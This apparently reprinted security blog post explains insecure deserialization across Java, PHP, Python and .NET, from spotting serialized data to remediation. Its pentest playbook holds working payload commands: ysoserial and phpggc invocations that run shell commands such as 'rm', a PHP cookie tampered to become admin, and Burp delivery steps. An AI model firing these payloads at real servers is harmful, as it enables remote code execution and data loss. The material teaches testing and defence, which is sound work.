Listen to this Post

Introduction:
Insecure deserialization (OWASP A08:2021) is one of the most devastating—and most misunderstood—vulnerabilities in modern application security. While SQL injection and cross-site scripting dominate headlines, insecure deserialization quietly enables attackers to achieve full Remote Code Execution (RCE) on production servers with nothing more than a tampered cookie or API payload. The vulnerability arises when an application deserializes untrusted data without proper validation, allowing attackers to manipulate serialized objects to execute arbitrary code, bypass authentication, or escalate privileges. As the GrayXploit Security Research Team recently detailed in their comprehensive masterclass, this “silent killer” remains a favorite among exploit developers precisely because it bypasses traditional security controls and strikes at the heart of application logic.
Learning Objectives:
- Understand the fundamental architecture of serialization and deserialization across Java, PHP, Python, and .NET environments
- Master the identification and exploitation of gadget chains using industry-standard tools like ysoserial and phpggc
- Implement comprehensive remediation strategies including allowlisting, integrity checks, and secure serialization alternatives
1. Understanding the Core Architecture: Serialization vs. Deserialization
Serialization is the process of converting complex data structures or objects into a format that can be easily stored or transmitted—typically a byte stream or string. Deserialization reverses this process, reconstructing the original object from its serialized form. While this mechanism is essential for session management, caching, and inter-service communication, it becomes a critical security flaw when applications deserialize data from untrusted sources.
The danger lies in how different languages handle the deserialization process. In Java, any class implementing `java.io.Serializable` can be serialized and deserialized, and the `readObject()` method is automatically invoked during deserialization. In PHP, the `unserialize()` function processes serialized strings and triggers magic methods like __wakeup(), __destruct(), and __toString(). Python’s `pickle` module executes code via the `__reduce__()` method. .NET’s `BinaryFormatter` can instantiate arbitrary types. Each of these mechanisms provides a potential entry point for attackers.
Serialization Format Identification:
Security professionals can identify serialized data by recognizing language-specific signatures:
| Language/Framework | Magic Bytes (Hex) | Base64 Prefix |
||||
| Java Serialized | AC ED 00 05 | rO0 |
| .NET BinaryFormatter | AA EA AD | AAEAAD |
| .NET ViewState | FF 01 | /w |
| Python Pickle | 80 04 95 | gASV |
| PHP Serialized | 4F 3A | Tz |
Detection Commands:
Decode and inspect a suspect cookie or parameter echo "COOKIE_VALUE" | base64 -d | xxd | head Check for Java magic bytes echo "COOKIE_VALUE" | base64 -d | hexdump -C | head -1 1 Search for serialization patterns echo "COOKIE_VALUE" | base64 -d | strings | grep -E "(O:|rO0|BAh)"
- Gadget Chains and Magic Methods: How Attackers Weaponize Trusted Code
A gadget chain is a sequence of existing code fragments—gadgets—within an application’s libraries that, when chained together during deserialization, achieve malicious effects like remote code execution. Each individual gadget is benign on its own; it’s the combination that creates the exploit.
How Gadget Chains Work:
Attackers leverage Property-Oriented Programming (POP) to identify gadgets that meet specific criteria:
– Can be serialized
– Have public or accessible properties
– Implement vulnerable magic methods
– Have access to callable classes
Java Gadget Chains with ysoserial:
The `ysoserial` tool is the de facto standard for generating Java deserialization payloads. It contains a collection of gadget chains for various Java libraries including Apache Commons Collections, Spring, Hibernate, and Groovy.
Generate a payload using CommonsCollections1 gadget java -jar ysoserial.jar CommonsCollections1 "whoami" > payload.ser Generate Base64-encoded payload java -jar ysoserial.jar CommonsCollections5 "id" | base64 For Java versions 16 and above (requires additional opens) java -jar ysoserial-all.jar \ --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \ --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \ --add-opens=java.base/java.net=ALL-UNNAMED \ --add-opens=java.base/java.util=ALL-UNNAMED \ CommonsCollections4 'rm /home/carlos/morale.txt' | base64
PHP Gadget Chains with phpggc:
PHP deserialization attacks leverage magic methods like __destruct(), __wakeup(), and __toString(). The `phpggc` tool generates gadget chains for popular PHP frameworks.
List available gadget chains for Laravel ./phpggc -l laravel List available chains for Monolog ./phpggc -l monolog Get information about a specific chain ./phpggc -i Symfony/RCE4 Generate payload ./phpggc Symfony/RCE4 exec 'rm /tmp/file'
- The Pentester & Bug Bounty Playbook: Identification to RCE
Identifying insecure deserialization is relatively straightforward, regardless of whether you’re conducting whitebox or blackbox testing. Here’s a systematic approach:
Step 1: Identify Serialized Data
Look at all data passed into the application—cookies, POST parameters, API request bodies, and headers. Serialized data often appears as:
- Java: Base64-encoded binary starting with `rO0` or hex starting with `AC ED 00 05`
– PHP: Human-readable format like `O:4:”User”:2:{s:4:”name”;s:6:”carlos”;}`
– Python: Base64 starting with `gASV`
– .NET: Binary starting with `AAEAAD` or ViewState starting with `/w`
Step 2: Test for Manipulation
Modify the serialized data and observe the application’s response. For example, in PHP:
Original: O:4:"User":2:{s:4:"name";s:6:"carlos";s:10:"isLoggedIn";b:1;}
Modified: O:4:"User":2:{s:4:"name";s:6:"admin";s:10:"isLoggedIn";b:1;}
Step 3: Leverage Pre-built Gadget Chains
If the application uses common libraries (Apache Commons Collections, Spring, Laravel, Symfony, etc.), use pre-built gadget chains:
Java with ysoserial java -jar ysoserial.jar CommonsCollections1 "command" | base64 PHP with phpggc phpggc Laravel/RCE1 exec "command" | base64 .NET with ysoserial.net ysoserial.exe -f BinaryFormatter -g ObjectDataProvider -c "command"
Step 4: Deliver the Payload
Replace the original serialized data with the malicious payload in the request. In Burp Suite:
1. Send the request to Repeater
- Replace the cookie or parameter with the malicious Base64-encoded payload
3. URL-encode the entire value
- Send the request and observe for command execution
4. Complete Remediation Strategies for Engineering Teams
There is no single fix for insecure deserialization. Effective defense relies on layered controls and disciplined engineering.
Strategy 1: Never Deserialize Untrusted Input
The most effective prevention is to avoid deserializing untrusted input entirely. Where possible, use safe serialization formats like JSON (without type handling) or XML that cannot represent executable functions.
Strategy 2: Implement Integrity Checks
Use cryptographic signatures (HMAC) to verify that serialized data hasn’t been tampered with:
// Java example - sign before serialization
Mac mac = Mac.getInstance("HmacSHA256");
byte[] signature = mac.doFinal(serializedData);
// Append signature to serialized data
// Verify signature before deserialization
Strategy 3: Implement Class Allowlists
Override `resolveClass()` in Java’s `ObjectInputStream` to restrict deserialization to expected classes:
public class SafeObjectInputStream extends ObjectInputStream {
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
if (!allowedClasses.contains(desc.getName())) {
throw new InvalidClassException("Unauthorized deserialization",
desc.getName());
}
return super.resolveClass(desc);
}
}
Strategy 4: Use ObjectInputFilter (Java 9+)
Java 9 introduced `ObjectInputFilter` for fine-grained control:
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter( "java.base/;!"); ObjectInputStream ois = new ObjectInputStream(inputStream); ois.setObjectInputFilter(filter);
Strategy 5: Replace Vulnerable Libraries
- Java: Replace `ObjectInputStream` with JSON serialization (Jackson, Gson)
- .NET: Replace `BinaryFormatter` with `System.Text.Json` or `Newtonsoft.Json` (with
TypeNameHandling.None) - Python: Replace `pickle` with JSON or use `pickle` with restricted unpicklers
- PHP: Avoid `unserialize()` on user input; use JSON instead
Strategy 6: Run Deserialization in Isolated Environments
Execute deserialization code in a separate process or sandbox to limit the impact of any malicious code execution.
5. Language-Specific Vulnerabilities and Mitigations
Java:
- Vulnerable:
ObjectInputStream.readObject(), XStream, Jackson (with polymorphic typing) - Mitigation: Use
ObjectInputFilter, implement class allowlists, prefer JSON serialization - Detection: Look for `AC ED 00 05` magic bytes and `rO0` Base64 prefix
PHP:
- Vulnerable: `unserialize()` on user input
- Mitigation: Avoid `unserialize()` entirely; use
json_encode()/json_decode() - Detection: Look for `O:` pattern in serialized strings
Python:
- Vulnerable:
pickle.loads(),cPickle.loads(), PyYAML with `!!python/object/apply`
– Mitigation: Use JSON for data exchange; if pickle is required, use `pickle` with restricted unpicklers - Detection: Look for `gASV` Base64 prefix
.NET:
- Vulnerable:
BinaryFormatter,NetDataContractSerializer, `Json.NET` with `TypeNameHandling`
– Mitigation: Microsoft has officially bannedBinaryFormatter; use `System.Text.Json`
– Detection: Look for `AAEAAD` magic bytes
What Undercode Say:
- Insecure deserialization remains one of the most critical vulnerabilities in the OWASP Top 10 because it bypasses traditional authentication and authorization controls entirely. While developers have become adept at preventing SQL injection and XSS, deserialization flaws often go unnoticed until they’re exploited in production. The vulnerability is particularly dangerous because it doesn’t require complex attack chains—a single tampered cookie can lead to full system compromise.
-
The proliferation of third-party libraries has made gadget chains more accessible than ever. Tools like ysoserial and phpggc have democratized deserialization exploitation, allowing penetration testers and attackers alike to achieve RCE with minimal effort. The GrayXploit team’s masterclass correctly emphasizes that understanding gadget chains is no longer optional for security professionals—it’s essential for defending modern applications.
-
The most effective defense is architectural: avoid deserializing untrusted data entirely. When that’s not possible, layered controls—integrity checks, class allowlists, and isolated execution environments—provide the best protection. Organizations should prioritize replacing vulnerable serialization mechanisms (like Java’s `ObjectInputStream` and .NET’s
BinaryFormatter) with safer alternatives like JSON or protocol buffers. -
The bug bounty community has embraced deserialization as a high-impact finding. Platforms like HackerOne, Bugcrowd, and YesWeHack regularly see critical deserialization reports that command top bounties. For security researchers, mastering deserialization exploitation is a direct path to high-value findings.
Prediction:
-
+1 The security community’s increased focus on deserialization vulnerabilities will drive significant improvements in framework-level protections. We can expect major programming languages and frameworks to introduce safer default serialization behaviors, reducing the attack surface for future applications.
-
-1 Legacy applications that rely on vulnerable serialization mechanisms—particularly Java applications using Apache Commons Collections and .NET applications using BinaryFormatter—will continue to be exploited at scale. Many organizations lack the resources to refactor legacy codebases, leaving them perpetually vulnerable.
-
+1 The rise of AI-assisted code review and static analysis tools will help developers identify insecure deserialization patterns earlier in the development lifecycle. Tools like Semgrep and CodeQL already provide rules for detecting unsafe deserialization, and these capabilities will only improve.
-
-1 As applications increasingly adopt microservices and API-first architectures, the number of deserialization endpoints will multiply. Each new service boundary introduces another potential attack surface, and many organizations lack the visibility to monitor all deserialization points effectively.
-
+1 The deprecation of unsafe serialization mechanisms—such as Microsoft’s ban on BinaryFormatter—represents a positive trend toward secure-by-default frameworks. Industry-wide adoption of safe serialization standards will gradually reduce the prevalence of this vulnerability class.
The GrayXploit Security Research Team’s deep-dive masterclass on insecure deserialization serves as a critical resource for both developers and security professionals. By understanding the core architecture, mastering gadget chain exploitation, and implementing comprehensive remediation strategies, organizations can defend against this silent code executor before it compromises their production environments.
▶️ Related Video (80% Match):
🎯Let’s Practice For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
IT/Security Reporter URL:
Reported By: Cybersecurity Appsec – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅


